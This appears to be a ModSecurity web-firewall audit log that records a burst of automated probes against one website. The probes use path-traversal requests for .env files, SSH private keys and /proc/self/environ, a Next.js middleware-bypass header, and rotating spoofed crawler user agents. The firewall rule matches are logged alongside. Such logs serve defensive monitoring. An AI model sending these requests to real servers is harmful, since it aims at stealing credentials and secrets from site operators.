Stopwatch2: 1789305975285809 267591; combined=34715, p1=272, p2=34371, p3=0, p4=0, p5=72, sr=117, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--68a78f69-Z--

--c0603758-A--
[13/Sep/2026:16:26:15.648433 +0300] aqakd2M7dE9KgIIOpQiAmwAAANc 34.73.17.152 39874 127.0.0.1 7081
--c0603758-B--
GET /@fs/src/.env?raw?? HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--c0603758-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--c0603758-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/@fs/src/.env"] [unique_id "aqakd2M7dE9KgIIOpQiAmwAAANc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305975578425 70065 (- - -)
Stopwatch2: 1789305975578425 70065; combined=3891, p1=263, p2=3570, p3=0, p4=0, p5=58, sr=124, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c0603758-Z--

--4bbe5c7a-A--
[13/Sep/2026:16:26:15.839883 +0300] aqakd2M7dE9KgIIOpQiAnAAAAM0 34.73.17.152 39910 127.0.0.1 7081
--4bbe5c7a-B--
GET /@fs/../.env?raw?? HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--4bbe5c7a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--4bbe5c7a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env"] [unique_id "aqakd2M7dE9KgIIOpQiAnAAAAM0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305975745108 94849 (- - -)
Stopwatch2: 1789305975745108 94849; combined=3891, p1=222, p2=3612, p3=0, p4=0, p5=57, sr=81, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4bbe5c7a-Z--

--b793d70d-A--
[13/Sep/2026:16:26:15.890193 +0300] aqakd2M7dE9KgIIOpQiAnQAAANA 34.73.17.152 39942 127.0.0.1 7081
--b793d70d-B--
GET /@fs/..%252f..%252f..%252f..%252f..%252froot/.env?raw?? HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--b793d70d-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--b793d70d-E--

--b793d70d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "aqakd2M7dE9KgIIOpQiAnQAAANA"]
Stopwatch: 1789305975885072 5190 (- - -)
Stopwatch2: 1789305975885072 5190; combined=3759, p1=215, p2=3427, p3=71, p4=8, p5=38, sr=80, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b793d70d-Z--

--0b6a857e-A--
[13/Sep/2026:16:26:15.893382 +0300] aqakdysVWymXUono-eRXWAAAABQ 34.73.17.152 39894 127.0.0.1 7081
--0b6a857e-B--
GET /.ssh/id_rsa HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: CCBot/2.0 (https://commoncrawl.org/faq/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--0b6a857e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--0b6a857e-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_rsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_rsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_rsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.ssh/id_rsa"] [unique_id "aqakdysVWymXUono-eRXWAAAABQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_rsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.ssh/id_rsa"] [unique_id "aqakdysVWymXUono-eRXWAAAABQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305975686680 206759 (- - -)
Stopwatch2: 1789305975686680 206759; combined=42660, p1=210, p2=42375, p3=0, p4=0, p5=74, sr=83, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0b6a857e-Z--

--9e80e407-A--
[13/Sep/2026:16:26:16.052376 +0300] aqakeGM7dE9KgIIOpQiAnwAAANQ 34.73.17.152 39956 127.0.0.1 7081
--9e80e407-B--
GET /@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ?raw?? HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--9e80e407-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--9e80e407-H--
Message: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ?raw??||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:raw??=& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "proc/self/environ" at MATCHED_VAR. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "22"] [id "77140166"] [msg "IM360 WAF: Blocking directory traversal attempt||MVN:MATCHED_VAR||MV:/proc/self/environ?raw??||T:APACHE||"] [severity "CRITICAL"] [tag "service_gen"] [hostname "alexandervodka.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "aqakeGM7dE9KgIIOpQiAnwAAANQ"]
Action: Intercepted (phase 2)
Stopwatch: 1789305976045954 6470 (- - -)
Stopwatch2: 1789305976045954 6470; combined=3931, p1=262, p2=3258, p3=0, p4=0, p5=411, sr=112, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--9e80e407-Z--

--b75cf716-A--
[13/Sep/2026:16:26:16.315696 +0300] aqakeGM7dE9KgIIOpQiAoQAAANg 34.73.17.152 39988 127.0.0.1 7081
--b75cf716-B--
GET /_nuxt/../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--b75cf716-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--b75cf716-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env"] [unique_id "aqakeGM7dE9KgIIOpQiAoQAAANg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305976197296 118455 (- - -)
Stopwatch2: 1789305976197296 118455; combined=4354, p1=231, p2=4030, p3=0, p4=0, p5=92, sr=83, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b75cf716-Z--

--8bf09a44-A--
[13/Sep/2026:16:26:16.515176 +0300] aqakeGM7dE9KgIIOpQiAowAAAMk 34.73.17.152 40036 127.0.0.1 7081
--8bf09a44-B--
GET /static../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--8bf09a44-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--8bf09a44-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/static../.env"] [unique_id "aqakeGM7dE9KgIIOpQiAowAAAMk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305976383099 132140 (- - -)
Stopwatch2: 1789305976383099 132140; combined=20281, p1=255, p2=4303, p3=0, p4=0, p5=7889, sr=104, sw=1, l=0, gc=7833
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8bf09a44-Z--

--3310c076-A--
[13/Sep/2026:16:26:16.704158 +0300] aqakeGM7dE9KgIIOpQiApQAAAMQ 34.73.17.152 40066 127.0.0.1 7081
--3310c076-B--
GET /media../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--3310c076-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--3310c076-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/media../.env"] [unique_id "aqakeGM7dE9KgIIOpQiApQAAAMQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305976616526 87689 (- - -)
Stopwatch2: 1789305976616526 87689; combined=5909, p1=347, p2=5460, p3=0, p4=0, p5=101, sr=135, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3310c076-Z--

--f85a7e48-A--
[13/Sep/2026:16:26:16.844100 +0300] aqakeGM7dE9KgIIOpQiApwAAANM 34.73.17.152 40094 127.0.0.1 7081
--f85a7e48-B--
GET /files../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--f85a7e48-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--f85a7e48-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/files../.env"] [unique_id "aqakeGM7dE9KgIIOpQiApwAAANM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305976731549 112607 (- - -)
Stopwatch2: 1789305976731549 112607; combined=4981, p1=281, p2=4651, p3=0, p4=0, p5=48, sr=83, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f85a7e48-Z--

--56d8d645-A--
[13/Sep/2026:16:26:17.075877 +0300] aqakeCsVWymXUono-eRXXwAAAAM 34.73.17.152 40154 127.0.0.1 7081
--56d8d645-B--
GET /static//.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--56d8d645-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--56d8d645-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/static/.env"] [unique_id "aqakeCsVWymXUono-eRXXwAAAAM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305976997086 78846 (- - -)
Stopwatch2: 1789305976997086 78846; combined=4363, p1=210, p2=4083, p3=0, p4=0, p5=70, sr=81, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--56d8d645-Z--

--d5a92759-A--
[13/Sep/2026:16:26:17.159178 +0300] aqakeSsVWymXUono-eRXYQAAAAY 34.73.17.152 40178 127.0.0.1 7081
--d5a92759-B--
GET /.//.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--d5a92759-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--d5a92759-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env"] [unique_id "aqakeSsVWymXUono-eRXYQAAAAY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305977080497 78750 (- - -)
Stopwatch2: 1789305977080497 78750; combined=5714, p1=277, p2=3759, p3=0, p4=0, p5=1678, sr=113, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d5a92759-Z--

--c4dd7b2e-A--
[13/Sep/2026:16:26:17.425780 +0300] aqakeUwu1RSkptiiNIX@SgAAAIo 34.73.17.152 40248 127.0.0.1 7081
--c4dd7b2e-B--
GET //.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--c4dd7b2e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--c4dd7b2e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env"] [unique_id "aqakeUwu1RSkptiiNIX@SgAAAIo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305977332161 93692 (- - -)
Stopwatch2: 1789305977332161 93692; combined=5174, p1=213, p2=4894, p3=0, p4=0, p5=67, sr=85, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c4dd7b2e-Z--

--ccb8c705-A--
[13/Sep/2026:16:26:17.494091 +0300] aqakeTTJ6xTvcJoem7f98wAAAEo 34.73.17.152 40250 127.0.0.1 7081
--ccb8c705-B--
GET /.env.local?import&raw HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--ccb8c705-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
